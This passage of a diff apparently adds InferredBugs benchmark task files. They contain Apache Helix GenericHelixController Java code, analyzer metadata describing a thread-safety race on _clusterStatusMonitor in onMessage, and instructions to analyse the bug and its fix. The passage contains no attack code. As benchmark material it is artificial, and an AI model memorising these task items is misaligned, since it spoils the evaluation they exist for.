+  public void onInstanceConfigChange(List<InstanceConfig> instanceConfigs,
+      NotificationContext changeContext) {
+    logger.info(
+        "START: GenericClusterController.onInstanceConfigChange() for cluster " + _clusterName);
+    onConfigChange(instanceConfigs, changeContext);
+    logger.info("END: GenericClusterController.onInstanceConfigChange() for cluster " + _clusterName);
+  }
+
+  @Override
+  public void onControllerChange(NotificationContext changeContext) {
+    logger.info("START: GenericClusterController.onControllerChange() for cluster " + _clusterName);
+    _cache.requireFullRefresh();
+    if (changeContext != null && changeContext.getType() == Type.FINALIZE) {
+      logger.info("GenericClusterController.onControllerChange() FINALIZE for cluster " + _clusterName);
+      return;
+    }
+    HelixDataAccessor accessor = changeContext.getManager().getHelixDataAccessor();
+
+    // double check if this controller is the leader
+    Builder keyBuilder = accessor.keyBuilder();
+    LiveInstance leader = accessor.getProperty(keyBuilder.controllerLeader());
+    if (leader == null) {
+      logger
+          .warn("No controller exists for cluster:" + changeContext.getManager().getClusterName());
+      return;
+    } else {
+      String leaderName = leader.getInstanceName();
+
+      String instanceName = changeContext.getManager().getInstanceName();
+      if (leaderName == null || !leaderName.equals(instanceName)) {
+        logger.warn("leader name does NOT match, my name: " + instanceName + ", leader: " + leader);
+        return;
+      }
+    }
+
+    PauseSignal pauseSignal = accessor.getProperty(keyBuilder.pause());
+    if (pauseSignal != null) {
+      if (!_paused) {
+        _paused = true;
+        logger.info("controller is now paused");
+      }
+    } else {
+      if (_paused) {
+        _paused = false;
+        logger.info("controller is now resumed");
+        ClusterEvent event = new ClusterEvent(_clusterName, ClusterEventType.Resume);
+        event.addAttribute(AttributeName.changeContext.name(), changeContext);
+        event.addAttribute(AttributeName.helixmanager.name(), changeContext.getManager());
+        event.addAttribute(AttributeName.eventData.name(), pauseSignal);
+        _eventQueue.put(event);
+      }
+    }
+    if (_clusterStatusMonitor == null) {
+      _clusterStatusMonitor = new ClusterStatusMonitor(changeContext.getManager().getClusterName());
+    }
+    _clusterStatusMonitor.setEnabled(!_paused);
+    logger.info("END: GenericClusterController.onControllerChange() for cluster " + _clusterName);
+  }
+
+  /**
+   * Go through the list of liveinstances in the cluster, and add currentstateChange listener and
+   * Message listeners to them if they are newly added. For current state change, the observation is
+   * tied to the session id of each live instance.
+   */
+  protected void checkLiveInstancesObservation(List<LiveInstance> liveInstances,
+      NotificationContext changeContext) {
+
+    // construct maps for current live-instances
+    Map<String, LiveInstance> curInstances = new HashMap<String, LiveInstance>();
+    Map<String, LiveInstance> curSessions = new HashMap<>();
+    for (LiveInstance liveInstance : liveInstances) {
+      curInstances.put(liveInstance.getInstanceName(), liveInstance);
+      curSessions.put(liveInstance.getSessionId(), liveInstance);
+    }
+
+    // TODO: remove the synchronization here once we move this update into dataCache.
+    synchronized (_lastSeenInstances) {
+      Map<String, LiveInstance> lastInstances = _lastSeenInstances.get();
+      Map<String, LiveInstance> lastSessions = _lastSeenSessions.get();
+
+      HelixManager manager = changeContext.getManager();
+      Builder keyBuilder = new Builder(manager.getClusterName());
+      if (lastSessions != null) {
+        for (String session : lastSessions.keySet()) {
+          if (!curSessions.containsKey(session)) {
+            // remove current-state listener for expired session
+            String instanceName = lastSessions.get(session).getInstanceName();
+            manager.removeListener(keyBuilder.currentStates(instanceName, session), this);
+          }
+        }
+      }
+
+      if (lastInstances != null) {
+        for (String instance : lastInstances.keySet()) {
+          if (!curInstances.containsKey(instance)) {
+            // remove message listener for disconnected instances
+            manager.removeListener(keyBuilder.messages(instance), this);
+          }
+        }
+      }
+
+      for (String session : curSessions.keySet()) {
+        if (lastSessions == null || !lastSessions.containsKey(session)) {
+          String instanceName = curSessions.get(session).getInstanceName();
+          try {
+            // add current-state listeners for new sessions
+            manager.addCurrentStateChangeListener(this, instanceName, session);
+            logger.info(manager.getInstanceName() + " added current-state listener for instance: "
+                + instanceName + ", session: " + session + ", listener: " + this);
+          } catch (Exception e) {
+            logger.error("Fail to add current state listener for instance: " + instanceName
+                + " with session: " + session, e);
+          }
+        }
+      }
+
+      for (String instance : curInstances.keySet()) {
+        if (lastInstances == null || !lastInstances.containsKey(instance)) {
+          try {
+            // add message listeners for new instances
+            manager.addMessageListener(this, instance);
+            logger.info(manager.getInstanceName() + " added message listener for " + instance
+                + ", listener: " + this);
+          } catch (Exception e) {
+            logger.error("Fail to add message listener for instance: " + instance, e);
+          }
+        }
+      }
+
+      // update last-seen
+      _lastSeenInstances.set(curInstances);
+      _lastSeenSessions.set(curSessions);
+    }
+  }
+
+  public void shutdownClusterStatusMonitor(String clusterName) {
+    if (_clusterStatusMonitor != null) {
+      logger.info("Shut down _clusterStatusMonitor for cluster " + clusterName);
+      _clusterStatusMonitor.reset();
+      _clusterStatusMonitor = null;
+    }
+  }
+
+  public void shutdown() throws InterruptedException {
+    stopRebalancingTimer();
+    while (_eventThread.isAlive()) {
+      _eventThread.interrupt();
+      _eventThread.join(EVENT_THREAD_JOIN_TIMEOUT);
+    }
+    _asyncTasksThreadPool.shutdown();
+  }
+
+  private class ClusterEventProcessor extends Thread {
+    @Override
+    public void run() {
+      logger.info("START ClusterEventProcessor thread  for cluster " + _clusterName);
+      while (!isInterrupted()) {
+        try {
+          ClusterEvent event = _eventQueue.take();
+          handleEvent(event);
+        } catch (InterruptedException e) {
+          logger.warn("ClusterEventProcessor interrupted", e);
+          interrupt();
+        } catch (ZkInterruptedException e) {
+          logger.warn("ClusterEventProcessor caught a ZK connection interrupt", e);
+          interrupt();
+        } catch (ThreadDeath death) {
+          throw death;
+        } catch (Throwable t) {
+          logger.error("ClusterEventProcessor failed while running the controller pipeline", t);
+        }
+      }
+      logger.info("END ClusterEventProcessor thread");
+    }
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.apache.helix.controller.GenericHelixController.onMessage` reads without synchronization from `this.org.apache.helix.controller.GenericHelixController._clusterStatusMonitor`. Potentially races with write in method `GenericHelixController.handleEvent(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void GenericHelixController.onMessage(String,List,NotificationContext)
+
+### Procedure Id:
+org.apache.helix.controller.GenericHelixController.onMessage(java.lang.String,java.util.List,org.apa.2622c71ff639542b21f94378ed82ef51
+
+### File:
+helix-core/src/main/java/org/apache/helix/controller/GenericHelixController.java
+
+### Key:
+GenericHelixController.java|onMessage|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+f89bb53a08a46e438957c362ed31187f
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9617/instruction.md b/inferredbugs-9617/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c337fc6eaae12b260853dfe8b32395ed2d0f73f9
--- /dev/null
+++ b/inferredbugs-9617/instruction.md
@@ -0,0 +1,787 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** helix
+**Bug ID:** 53
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.apache.helix.controller;
+
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Timer;
+import java.util.TimerTask;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.atomic.AtomicReference;
+
+import org.I0Itec.zkclient.exception.ZkInterruptedException;
+import org.apache.helix.api.listeners.ConfigChangeListener;
+import org.apache.helix.api.listeners.ControllerChangeListener;
+import org.apache.helix.api.listeners.CurrentStateChangeListener;
+import org.apache.helix.api.listeners.IdealStateChangeListener;
+import org.apache.helix.api.listeners.InstanceConfigChangeListener;
+import org.apache.helix.api.listeners.LiveInstanceChangeListener;
+import org.apache.helix.api.listeners.MessageListener;
+import org.apache.helix.api.listeners.PreFetch;
+import org.apache.helix.HelixDataAccessor;
+import org.apache.helix.HelixManager;
+import org.apache.helix.NotificationContext;
+import org.apache.helix.NotificationContext.Type;
+import org.apache.helix.PropertyKey.Builder;
+import org.apache.helix.ZNRecord;
+import org.apache.helix.controller.pipeline.Pipeline;
+import org.apache.helix.controller.pipeline.PipelineRegistry;
+import org.apache.helix.controller.stages.AttributeName;
+import org.apache.helix.controller.stages.BestPossibleStateCalcStage;
+import org.apache.helix.controller.stages.ClusterDataCache;
+import org.apache.helix.controller.stages.ClusterEvent;
+import org.apache.helix.controller.stages.ClusterEventBlockingQueue;
+import org.apache.helix.controller.stages.ClusterEventType;
+import org.apache.helix.controller.stages.CompatibilityCheckStage;
+import org.apache.helix.controller.stages.CurrentStateComputationStage;
+import org.apache.helix.controller.stages.ExternalViewComputeStage;
+import org.apache.helix.controller.stages.IntermediateStateCalcStage;
+import org.apache.helix.controller.stages.MessageGenerationPhase;
+import org.apache.helix.controller.stages.MessageSelectionStage;
+import org.apache.helix.controller.stages.MessageThrottleStage;
+import org.apache.helix.controller.stages.PersistAssignmentStage;
+import org.apache.helix.controller.stages.ReadClusterDataStage;
+import org.apache.helix.controller.stages.ResourceComputationStage;
+import org.apache.helix.controller.stages.ResourceValidationStage;
+import org.apache.helix.controller.stages.TaskAssignmentStage;
+import org.apache.helix.model.ClusterConfig;
+import org.apache.helix.model.CurrentState;
+import org.apache.helix.model.IdealState;
+import org.apache.helix.model.InstanceConfig;
+import org.apache.helix.model.LiveInstance;
+import org.apache.helix.model.Message;
+import org.apache.helix.model.PauseSignal;
+import org.apache.helix.monitoring.mbeans.ClusterEventMonitor;
+import org.apache.helix.monitoring.mbeans.ClusterStatusMonitor;
+import org.apache.helix.task.TaskDriver;
+import org.apache.log4j.Logger;
+
+import static org.apache.helix.HelixConstants.ChangeType;
+
+/**
+ * Cluster Controllers main goal is to keep the cluster state as close as possible to Ideal State.
+ * It does this by listening to changes in cluster state and scheduling new tasks to get cluster
+ * state to best possible ideal state. Every instance of this class can control can control only one
+ * cluster Get all the partitions use IdealState, CurrentState and Messages <br>
+ * foreach partition <br>
+ * 1. get the (instance,state) from IdealState, CurrentState and PendingMessages <br>
+ * 2. compute best possible state (instance,state) pair. This needs previous step data and state
+ * model constraints <br>
+ * 3. compute the messages/tasks needed to move to 1 to 2 <br>
+ * 4. select the messages that can be sent, needs messages and state model constraints <br>
+ * 5. send messages
+ */
+public class GenericHelixController implements ConfigChangeListener, IdealStateChangeListener,
+    LiveInstanceChangeListener, MessageListener, CurrentStateChangeListener,
+    ControllerChangeListener, InstanceConfigChangeListener {
+  private static final Logger logger = Logger.getLogger(GenericHelixController.class.getName());
+  private static final long EVENT_THREAD_JOIN_TIMEOUT = 1000;
+  private static final int ASYNC_TASKS_THREADPOOL_SIZE = 40;
+  private final PipelineRegistry _registry;
+
+  final AtomicReference<Map<String, LiveInstance>> _lastSeenInstances;
+  final AtomicReference<Map<String, LiveInstance>> _lastSeenSessions;
+
+  ClusterStatusMonitor _clusterStatusMonitor;
+
+  /**
+   * A queue for controller events and a thread that will consume it
+   */
+  private final ClusterEventBlockingQueue _eventQueue;
+  private final ClusterEventProcessor _eventThread;
+
+  /**
+   * The _paused flag is checked by function handleEvent(), while if the flag is set handleEvent()
+   * will be no-op. Other event handling logic keeps the same when the flag is set.
+   */
+  private boolean _paused;
+
+  /**
+   * The timer that can periodically run the rebalancing pipeline. The timer will start if there is
+   * one resource group has the config to use the timer.
+   */
+  Timer _rebalanceTimer = null;
+  long _timerPeriod = Long.MAX_VALUE;
+
+  /**
+   * A cache maintained across pipelines
+   */
+  private ClusterDataCache _cache;
+  private ExecutorService _asyncTasksThreadPool;
+
+  private String _clusterName;
+
+  /**
+   * Default constructor that creates a default pipeline registry. This is sufficient in most cases,
+   * but if there is a some thing specific needed use another constructor where in you can pass a
+   * pipeline registry
+   */
+  public GenericHelixController() {
+    this(createDefaultRegistry());
+  }
+
+  public GenericHelixController(String clusterName) {
+    this(createDefaultRegistry(), clusterName);
+  }
+
+  class RebalanceTask extends TimerTask {
+    HelixManager _manager;
+
+    public RebalanceTask(HelixManager manager) {
+      _manager = manager;
+    }
+
+    @Override
+    public void run() {
+      //TODO: this is the temporary workaround
+      _cache.requireFullRefresh();
+      _cache.refresh(_manager.getHelixDataAccessor());
+      if (_cache.getLiveInstances() != null) {
+        NotificationContext changeContext = new NotificationContext(_manager);
+        changeContext.setType(NotificationContext.Type.CALLBACK);
+        synchronized (_manager) {
+          checkLiveInstancesObservation(new ArrayList<>(_cache.getLiveInstances().values()),
+              changeContext);
+        }
+      }
+
+      NotificationContext changeContext = new NotificationContext(_manager);
+      changeContext.setType(NotificationContext.Type.CALLBACK);
+      ClusterEvent event = new ClusterEvent(_clusterName,ClusterEventType.PeriodicalRebalance);
+      event.addAttribute(AttributeName.helixmanager.name(), changeContext.getManager());
+      event.addAttribute(AttributeName.changeContext.name(), changeContext);
+      List<ZNRecord> dummy = new ArrayList<ZNRecord>();
+      event.addAttribute(AttributeName.eventData.name(), dummy);
+      // Should be able to process
+      _eventQueue.put(event);
+      logger.info("Controller periodicalRebalance event triggered!");
+    }
+  }
+
+  // TODO who should stop this timer
+  /**
+   * Starts the rebalancing timer with the specified period. Start the timer if necessary; If the
+   * period is smaller than the current period, cancel the current timer and use the new period.
+   */
+  void startRebalancingTimer(long period, HelixManager manager) {
+    if (period != _timerPeriod) {
+      logger.info("Controller starting timer at period " + period);
+      if (_rebalanceTimer != null) {
+        _rebalanceTimer.cancel();
+      }
+      _rebalanceTimer = new Timer(true);
+      _timerPeriod = period;
+      _rebalanceTimer
+          .scheduleAtFixedRate(new RebalanceTask(manager), _timerPeriod, _timerPeriod);
+    } else {
+      logger.info("Controller already has timer at period " + _timerPeriod);
+    }
+  }
+
+  /**
+   * Stops the rebalancing timer
+   */
+  void stopRebalancingTimer() {
+    if (_rebalanceTimer != null) {
+      _rebalanceTimer.cancel();
+      _rebalanceTimer = null;
+    }
+    _timerPeriod = Integer.MAX_VALUE;
+  }
+
+  private static PipelineRegistry createDefaultRegistry() {
+    logger.info("createDefaultRegistry");
+    synchronized (GenericHelixController.class) {
+      PipelineRegistry registry = new PipelineRegistry();
+
+      // cluster data cache refresh
+      Pipeline dataRefresh = new Pipeline();
+      dataRefresh.addStage(new ReadClusterDataStage());
+
+      // rebalance pipeline
+      Pipeline rebalancePipeline = new Pipeline();
+      rebalancePipeline.addStage(new ResourceComputationStage());
+      rebalancePipeline.addStage(new ResourceValidationStage());
+      rebalancePipeline.addStage(new CurrentStateComputationStage());
+      rebalancePipeline.addStage(new BestPossibleStateCalcStage());
+      rebalancePipeline.addStage(new IntermediateStateCalcStage());
+      rebalancePipeline.addStage(new MessageGenerationPhase());
+      rebalancePipeline.addStage(new MessageSelectionStage());
+      rebalancePipeline.addStage(new MessageThrottleStage());
+      rebalancePipeline.addStage(new TaskAssignmentStage());
+      rebalancePipeline.addStage(new PersistAssignmentStage());
+
+      // external view generation
+      Pipeline externalViewPipeline = new Pipeline();
+      externalViewPipeline.addStage(new ExternalViewComputeStage());
+
+      // backward compatibility check
+      Pipeline liveInstancePipeline = new Pipeline();
+      liveInstancePipeline.addStage(new CompatibilityCheckStage());
+
+      registry.register(ClusterEventType.IdealStateChange, dataRefresh, rebalancePipeline);
+      registry.register(ClusterEventType.CurrentStateChange, dataRefresh, rebalancePipeline, externalViewPipeline);
+      registry.register(ClusterEventType.ConfigChange, dataRefresh, rebalancePipeline);
+      registry.register(ClusterEventType.LiveInstanceChange, dataRefresh, liveInstancePipeline, rebalancePipeline,
+          externalViewPipeline);
+
+      registry.register(ClusterEventType.MessageChange, dataRefresh, rebalancePipeline);
+      registry.register(ClusterEventType.ExternalViewChange, dataRefresh);
+      registry.register(ClusterEventType.Resume, dataRefresh, rebalancePipeline, externalViewPipeline);
+      registry
+          .register(ClusterEventType.PeriodicalRebalance, dataRefresh, rebalancePipeline, externalViewPipeline);
+      return registry;
+    }
+  }
+
+  public GenericHelixController(PipelineRegistry registry) {
+    this(registry, null);
+  }
+
+  private GenericHelixController(PipelineRegistry registry, String clusterName) {
+    _paused = false;
+    _registry = registry;
+    _lastSeenInstances = new AtomicReference<>();
+    _lastSeenSessions = new AtomicReference<>();
+    _clusterName = clusterName;
+    _asyncTasksThreadPool = Executors.newFixedThreadPool(ASYNC_TASKS_THREADPOOL_SIZE);
+    _cache = new ClusterDataCache(clusterName);
+    _cache.setAsyncTasksThreadPool(_asyncTasksThreadPool);
+    _eventQueue = new ClusterEventBlockingQueue();
+    _eventThread = new ClusterEventProcessor();
+    _eventThread.setDaemon(true);
+    _eventThread.start();
+  }
+
+  /**
+   * lock-always: caller always needs to obtain an external lock before call, calls to handleEvent()
+   * should be serialized
+   * @param event
+   */
+  protected synchronized void handleEvent(ClusterEvent event) {
+    HelixManager manager = event.getAttribute(AttributeName.helixmanager.name());
+    if (manager == null) {
+      logger.error("No cluster manager in event:" + event.getEventType());
+      return;
+    }
+
+    if (!manager.isLeader()) {
+      logger.error("Cluster manager: " + manager.getInstanceName() + " is not leader for " + manager
+          .getClusterName() + ". Pipeline will not be invoked");
+      return;
+    }
+
+    if (_paused) {
+      logger.info("Cluster " + manager.getClusterName() + " is paused. Ignoring the event:" + event
+          .getEventType());
+      return;
+    }
+
+    NotificationContext context = null;
+    if (event.getAttribute(AttributeName.changeContext.name()) != null) {
+      context = event.getAttribute(AttributeName.changeContext.name());
+    }
+
+    // Initialize _clusterStatusMonitor
+    if (context != null) {
+      if (context.getType() == Type.FINALIZE) {
+        stopRebalancingTimer();
+        logger.info("Get FINALIZE notification, skip the pipeline. Event :" + event.getEventType());
+        return;
+      } else {
+        if (_clusterStatusMonitor == null) {
+          _clusterStatusMonitor = new ClusterStatusMonitor(manager.getClusterName());
+        }
+        // TODO: should be in the initization of controller.
+        if (_cache != null) {
+          checkRebalancingTimer(manager, Collections.EMPTY_LIST, _cache.getClusterConfig());
+        }
+        TaskDriver driver = new TaskDriver(manager);
+        _clusterStatusMonitor.refreshWorkflowsStatus(driver);
+        _clusterStatusMonitor.refreshJobsStatus(driver);
+        event.addAttribute(AttributeName.clusterStatusMonitor.name(), _clusterStatusMonitor);
+      }
+    }
+
+    // add the cache
+    event.addAttribute(AttributeName.ClusterDataCache.name(), _cache);
+
+    List<Pipeline> pipelines = _registry.getPipelinesForEvent(event.getEventType());
+    if (pipelines == null || pipelines.size() == 0) {
+      logger.info("No pipeline to run for event:" + event.getEventType());
+      return;
+    }
+
+    logger.info("START: Invoking controller pipeline for event: " + event.getEventType());
+    long startTime = System.currentTimeMillis();
+    for (Pipeline pipeline : pipelines) {
+      try {
+        pipeline.handle(event);
+        pipeline.finish();
+      } catch (Exception e) {
+        logger.error("Exception while executing pipeline: " + pipeline
+            + ". Will not continue to next pipeline", e);
+        break;
+      }
+    }
+    long endTime = System.currentTimeMillis();
+    logger.info("END: Invoking controller pipeline for event: " + event.getEventType() + " for cluster "
+        + manager.getClusterName() + ", took " + (endTime - startTime) + " ms");
+
+    // report event process durations
+    if (_clusterStatusMonitor != null) {
+      NotificationContext notificationContext = event.getAttribute(AttributeName.changeContext.name());
+      long enqueueTime = event.getCreationTime();
+      long zkCallbackTime;
+      StringBuilder sb = new StringBuilder();
+      if (notificationContext != null) {
+        zkCallbackTime = notificationContext.getCreationTime();
+        _clusterStatusMonitor
+            .updateClusterEventDuration(ClusterEventMonitor.PhaseName.Callback.name(),
+                enqueueTime - zkCallbackTime);
+        sb.append(String.format(
+            "Callback time for event: " + event.getEventType() + " took: " + (enqueueTime
+                - zkCallbackTime) + " ms\n"));
+
+      }
+      _clusterStatusMonitor.updateClusterEventDuration(ClusterEventMonitor.PhaseName.InQueue.name(),
+          startTime - enqueueTime);
+      _clusterStatusMonitor
+          .updateClusterEventDuration(ClusterEventMonitor.PhaseName.TotalProcessed.name(),
+              endTime - startTime);
+      sb.append(String.format(
+          "InQueue time for event: " + event.getEventType() + " took: " + (startTime - enqueueTime)
+              + " ms\n"));
+      sb.append(String.format(
+          "TotalProcessed time for event: " + event.getEventType() + " took: " + (endTime - startTime)
+              + " ms"));
+      logger.info(sb.toString());
+    }
+  }
+
+
+  @Override
+  @PreFetch(enabled = false)
+  public void onStateChange(String instanceName, List<CurrentState> statesInfo,
+      NotificationContext changeContext) {
+    logger.info("START: GenericClusterController.onStateChange()");
+    if (changeContext == null || changeContext.getType() != Type.CALLBACK) {
+      _cache.requireFullRefresh();
+    } else {
+      _cache.updateDataChange(ChangeType.CURRENT_STATE);
+    }
+    ClusterEvent event = new ClusterEvent(_clusterName, ClusterEventType.CurrentStateChange);
+    event.addAttribute(AttributeName.helixmanager.name(), changeContext.getManager());
+    event.addAttribute(AttributeName.instanceName.name(), instanceName);
+    event.addAttribute(AttributeName.changeContext.name(), changeContext);
+
+    _eventQueue.put(event);
+    logger.info("END: GenericClusterController.onStateChange()");
+  }
+
+  @Override
+  @PreFetch(enabled = false)
+  public void onMessage(String instanceName, List<Message> messages,
+      NotificationContext changeContext) {
+    logger.info("START: GenericClusterController.onMessage() for cluster " + _clusterName);
+    if (changeContext == null || changeContext.getType() != Type.CALLBACK) {
+      _cache.requireFullRefresh();
+    } else {
+      _cache.updateDataChange(ChangeType.MESSAGE);
+    }
+
+    ClusterEvent event = new ClusterEvent(_clusterName, ClusterEventType.MessageChange);
+    event.addAttribute(AttributeName.helixmanager.name(), changeContext.getManager());
+    event.addAttribute(AttributeName.instanceName.name(), instanceName);
+    event.addAttribute(AttributeName.changeContext.name(), changeContext);
+
+    _eventQueue.put(event);
+
+    if (_clusterStatusMonitor != null && messages != null) {
+      _clusterStatusMonitor.addMessageQueueSize(instanceName, messages.size());
+    }
+
+    logger.info("END: GenericClusterController.onMessage() for cluster " + _clusterName);
+  }
+
+  @Override
+  public void onLiveInstanceChange(List<LiveInstance> liveInstances,
+      NotificationContext changeContext) {
+    logger.info("START: Generic GenericClusterController.onLiveInstanceChange() for cluster " + _clusterName);
+    if (changeContext == null || changeContext.getType() != Type.CALLBACK) {
+      _cache.requireFullRefresh();
+    }
+
+    if (liveInstances == null) {
+      liveInstances = Collections.emptyList();
+    }
+    _cache.setLiveInstances(liveInstances);
+
+    // Go though the live instance list and make sure that we are observing them
+    // accordingly. The action is done regardless of the paused flag.
+    if (changeContext.getType() == NotificationContext.Type.INIT
+        || changeContext.getType() == NotificationContext.Type.CALLBACK) {
+      checkLiveInstancesObservation(liveInstances, changeContext);
+    } else if (changeContext.getType() == NotificationContext.Type.FINALIZE) {
+      // on finalize, should remove all message/current-state listeners
+      logger.info("remove message/current-state listeners. lastSeenInstances: " + _lastSeenInstances
+          + ", lastSeenSessions: " + _lastSeenSessions);
+      liveInstances = Collections.emptyList();
+      checkLiveInstancesObservation(liveInstances, changeContext);
+    }
+
+    ClusterEvent event = new ClusterEvent(_clusterName, ClusterEventType.LiveInstanceChange);
+    event.addAttribute(AttributeName.helixmanager.name(), changeContext.getManager());
+    event.addAttribute(AttributeName.changeContext.name(), changeContext);
+    event.addAttribute(AttributeName.eventData.name(), liveInstances);
+    _eventQueue.put(event);
+    logger.info(
+        "END: Generic GenericClusterController.onLiveInstanceChange() for cluster " + _clusterName);
+  }
+
+  private void checkRebalancingTimer(HelixManager manager, List<IdealState> idealStates,
+      ClusterConfig clusterConfig) {
+    if (manager.getConfigAccessor() == null) {
+      logger.warn(manager.getInstanceName()
+          + " config accessor doesn't exist. should be in file-based mode.");
+      return;
+    }
+
+    long minPeriod = Long.MAX_VALUE;
+    if (clusterConfig != null) {
+      long period = clusterConfig.getRebalanceTimePeriod();
+      if (period > 0 && minPeriod > period) {
+        minPeriod = period;
+      }
+    }
+
+    // TODO: resource level rebalance does not make sense, to remove it!
+    for (IdealState idealState : idealStates) {
+      long period = idealState.getRebalanceTimerPeriod();
+      if (period > 0 && minPeriod > period) {
+        minPeriod = period;
+      }
+    }
+
+    if (minPeriod != Long.MAX_VALUE) {
+      startRebalancingTimer(minPeriod, manager);
+    }
+  }
+
+  @Override
+  @PreFetch(enabled = false)
+  public void onIdealStateChange(List<IdealState> idealStates, NotificationContext changeContext) {
+    logger.info(
+        "START: Generic GenericClusterController.onIdealStateChange() for cluster " + _clusterName);
+    if (changeContext == null || changeContext.getType() != Type.CALLBACK) {
+      _cache.requireFullRefresh();
+    } else {
+      _cache.updateDataChange(ChangeType.IDEAL_STATE);
+    }
+
+    ClusterEvent event = new ClusterEvent(_clusterName, ClusterEventType.IdealStateChange);
+    event.addAttribute(AttributeName.helixmanager.name(), changeContext.getManager());
+    event.addAttribute(AttributeName.changeContext.name(), changeContext);
+
+    _eventQueue.put(event);
+
+    if (changeContext.getType() != Type.FINALIZE) {
+      checkRebalancingTimer(changeContext.getManager(), idealStates, _cache.getClusterConfig());
+    }
+
+    logger.info("END: GenericClusterController.onIdealStateChange() for cluster " + _clusterName);
+  }
+
+  @Override
+  @PreFetch(enabled = false)
+  public void onConfigChange(List<InstanceConfig> configs, NotificationContext changeContext) {
+    logger.info("START: GenericClusterController.onConfigChange() for cluster " + _clusterName);
+    if (changeContext == null || changeContext.getType() != Type.CALLBACK) {
+      _cache.requireFullRefresh();
+    } else {
+      _cache.updateDataChange(ChangeType.INSTANCE_CONFIG);
+    }
+
+    ClusterEvent event = new ClusterEvent(_clusterName, ClusterEventType.ConfigChange);
+    event.addAttribute(AttributeName.changeContext.name(), changeContext);
+    event.addAttribute(AttributeName.helixmanager.name(), changeContext.getManager());
+
+    _eventQueue.put(event);
+
+    logger.info("END: GenericClusterController.onConfigChange() for cluster " + _clusterName);
+  }
+
+  @Override
+  @PreFetch(enabled = false)
+  public void onInstanceConfigChange(List<InstanceConfig> instanceConfigs,
+      NotificationContext changeContext) {
+    logger.info(
+        "START: GenericClusterController.onInstanceConfigChange() for cluster " + _clusterName);
+    onConfigChange(instanceConfigs, changeContext);
+    logger.info("END: GenericClusterController.onInstanceConfigChange() for cluster " + _clusterName);
+  }
+
+  @Override
+  public void onControllerChange(NotificationContext changeContext) {
+    logger.info("START: GenericClusterController.onControllerChange() for cluster " + _clusterName);
+    _cache.requireFullRefresh();
+    if (changeContext != null && changeContext.getType() == Type.FINALIZE) {
+      logger.info("GenericClusterController.onControllerChange() FINALIZE for cluster " + _clusterName);
+      return;
+    }
+    HelixDataAccessor accessor = changeContext.getManager().getHelixDataAccessor();
+
+    // double check if this controller is the leader
+    Builder keyBuilder = accessor.keyBuilder();
+    LiveInstance leader = accessor.getProperty(keyBuilder.controllerLeader());
+    if (leader == null) {
+      logger
+          .warn("No controller exists for cluster:" + changeContext.getManager().getClusterName());
+      return;
+    } else {
+      String leaderName = leader.getInstanceName();
+
+      String instanceName = changeContext.getManager().getInstanceName();
+      if (leaderName == null || !leaderName.equals(instanceName)) {
+        logger.warn("leader name does NOT match, my name: " + instanceName + ", leader: " + leader);
+        return;
+      }
+    }
+
+    PauseSignal pauseSignal = accessor.getProperty(keyBuilder.pause());
+    if (pauseSignal != null) {
+      if (!_paused) {
+        _paused = true;
+        logger.info("controller is now paused");
+      }
+    } else {
+      if (_paused) {
+        _paused = false;
+        logger.info("controller is now resumed");
+        ClusterEvent event = new ClusterEvent(_clusterName, ClusterEventType.Resume);
+        event.addAttribute(AttributeName.changeContext.name(), changeContext);
+        event.addAttribute(AttributeName.helixmanager.name(), changeContext.getManager());
+        event.addAttribute(AttributeName.eventData.name(), pauseSignal);
+        _eventQueue.put(event);
+      }
+    }
+    if (_clusterStatusMonitor == null) {
+      _clusterStatusMonitor = new ClusterStatusMonitor(changeContext.getManager().getClusterName());
+    }
+    _clusterStatusMonitor.setEnabled(!_paused);
+    logger.info("END: GenericClusterController.onControllerChange() for cluster " + _clusterName);
+  }
+
+  /**
+   * Go through the list of liveinstances in the cluster, and add currentstateChange listener and
+   * Message listeners to them if they are newly added. For current state change, the observation is
+   * tied to the session id of each live instance.
+   */
+  protected void checkLiveInstancesObservation(List<LiveInstance> liveInstances,
+      NotificationContext changeContext) {
+
+    // construct maps for current live-instances
+    Map<String, LiveInstance> curInstances = new HashMap<String, LiveInstance>();
+    Map<String, LiveInstance> curSessions = new HashMap<>();
+    for (LiveInstance liveInstance : liveInstances) {
+      curInstances.put(liveInstance.getInstanceName(), liveInstance);
+      curSessions.put(liveInstance.getSessionId(), liveInstance);
+    }
+
+    // TODO: remove the synchronization here once we move this update into dataCache.
+    synchronized (_lastSeenInstances) {
+      Map<String, LiveInstance> lastInstances = _lastSeenInstances.get();
